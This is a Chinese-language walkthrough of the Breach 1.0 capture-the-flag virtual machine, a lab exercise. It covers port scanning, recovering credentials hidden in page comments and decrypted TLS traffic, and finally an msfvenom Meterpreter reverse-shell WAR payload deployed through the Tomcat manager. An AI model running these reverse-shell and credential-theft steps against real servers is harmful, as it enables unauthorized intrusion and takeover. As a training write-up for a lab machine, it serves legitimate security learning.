一、介绍:
Breake 1.0是一个初级到中级Boot to Root/CTF挑战.通过坚持不懈的信息收集从而来解决问题。
二、环境:
目标机:虚拟机配置了一个静态IP地址(192.168.110.140),因此您需要将仅主机适配器配置到此子网。
攻击机:kali ip在目标机同网段下,ip地址192.168.110.126.
三、渗透过程:
1)检查目标机是否可以ping通:
2)信息收集
使用nmap扫描端口,查看那些端口开放。命令:nmap -v -A 192.168.110.140
可以发现所有的端口都处于开放状态:
3)用浏览器访问80端口:
看见页面存在几行英文和一张图片,然后F12查看查看网页源码。
网页中存在一串注释,可以很容易的分析为base64编码,对其进行在线解码(CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码):
进行两次解码后得到:
可以猜测为后台管理的用户名和密码。
4)cms后台登录
点击网页中图片,进入initech.html,然后点击员工门户(employee portal),进入cms登录页面。
使用之前得到的用户名和密码进行尝试:
username:pgibbons
password:damnit g o o d t o b e a g a n g goodtobeagang goodtobeagangta
进入exploit-db查找impresscms漏洞:
发现存在impressCMS存在SQL注入漏洞。
查看漏洞描述可以知道,可以注入的页面为"/modules/profile/admin/field.php".但我们并没有访问权限。
5)下载证书和流量包:
查看邮件发现第三封邮件中说明了ssl的证书保存位置:Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob
访问地址下载包含ssl证书的秘钥库keystore文件。
进入view account 点击content,然后进入 SSL implementation test capture,可以查看到捕获的流量包 http://192.168.110.140/impresscms/_SSL_test_phase1.pcap 。并下载。并且可以看出keystory和key的密码都为tomcat。
6)导出证书:
利用keytool查看之前下载的keystory文件:(命令:keytool -list -v -keystore 文件名)
通过下面推荐方式将证书导出:keytool -importkeystore -srckeystore /home/kali/Downloads/keystore -destkeystore /home/kali/Downloads/keystore.p12 -deststoretype pkcs12导出成功。
7)将证书导入wireshark中:
用wireshark打开流量包,进入编辑首选项-protocols-tls(注:2019版之前的wireshark选择ssl)点击edit输入192.168.140.110 8442 http 导出的证书文件 tomcat 。这样http流量已经被破解,查看http可以获得Tomcat后台登录密码和用户名。采用basic认证。将dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC进行base64解密:tomcat:Tt\5D8F(#!*u=G)4m7zB
8)获取shell
登录Tomcat:https://192.168.110.140:8443/_M@nag3Me/html;用户名:密码tomcat:Tt\5D8F(#!*u=G)4m7zB
无法直接访问网址,请教师傅后知道由于使用了密码套件而访问该网站时出现问题,通过代理就可以进入:
并进入网络设置设置brupsuite网络代理。
输入用户名和密码进入:
利用msf生成war木马(命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > tomcat.war)
上传war木马到tomcat,此时会发现多了个刚上传的war包生成的程序
MSF开启监听 ,点击执行tomcat程序,反弹shell,成功反弹,拿下webshell。